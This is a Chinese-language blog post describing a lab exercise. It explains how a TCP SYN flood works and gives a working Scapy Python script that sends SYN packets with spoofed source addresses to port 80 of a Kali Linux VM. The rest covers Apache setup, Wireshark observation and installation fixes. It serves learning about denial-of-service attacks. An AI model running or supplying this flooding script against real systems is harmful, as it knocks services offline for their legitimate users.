【Scapy】Scapy-python脚本实现DDOS攻击

发布于 2022-04-13  1309 次阅读


编写python脚本实现SYN FLOOD(DDOS)

原理

SYN FLOOD是DDOS的一种,发生在OSI第四层,这种方式利用TCP协议的特性,就是三次握手。攻击者发送TCP SYN,SYN是TCP三次握手中的第一个数据包,当服务器返回ACK后,该攻击者就不对其进行再确认,那这个TCP连接就处于挂起状态,也就是所谓的半连接状态,服务器收不到再确认的话,还会重复发送ACK给攻击者。

攻击者就对服务器发送非常大量的这种TCP连接,由于每一个都没法完成三次握手,所以在服务器上,这些TCP连接会因为挂起状态而消耗CPU和内存,最后服务器可能死机,从而就无法为正常用户提供服务了。

实验方式

在本机运行脚本,攻击kali linux靶机的80端口,模拟攻击靶机网站,然后在kali linux里使用wireshark观察接收数据分析信息验证是否成功。

Python脚本

import random
import time
from scapy.all import *
#这里的tgt是被攻击的靶机的IP地址
tgt="192.168.137.128"
print(tgt)
dPort = 80
def synFlood(tgt,dPort):
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)
synFlood(tgt,dPort)

kali linux靶机开启apache,并且绑定0.0.0.0:80端口

查看服务开启状态

service --stauts-all

image-20210202203157420.png

这里apache没有开启,我们将其开启

service apache2 start

小插曲:主机访问不了kali linux虚拟机的解决方案

这中间遇到了个小插曲,我的主机访问不了虚拟机,这里需要进行网卡还原操作。

image-20210202225908914.png

image-20210202225925780.png

需要管理员权限,编辑ports.conf文件

sudo vim /etc/apache2/ports.conf

编辑文件将80端口改成0.0.0.0:80

image-20210202230205090.png

在kali打开wireshark

image-20210202230706745.png

windows里运行python脚本

kali里面是自带的scapy,这里windows电脑要提前装好scapy

pip3 install scapy-python3

如果中间提示

Traceback (most recent call last):
  File "D:\PycharmProjects\new\main.py", line 3, in
    from scapy.all import *
ModuleNotFoundError: No module named 'scapy'

如下图所示

image-20210202235625714.png

我们需要将scapy的包拷到项目的目录里就好了

image-20210202235803145.png

然后就可以运行了,可以看到已经在疯狂发包了。

image-20210202235851148.png

kali这边已经可以看到很多发送请求,这里通过SNY FLOOD可以占用虚拟机很大的资源,但是这里因为是内网所以带宽方面表现不明显,如果是外网的话,通过SNY断开连接占用大量带宽资源,应该会有明显的卡顿。

image-20210203000131440.png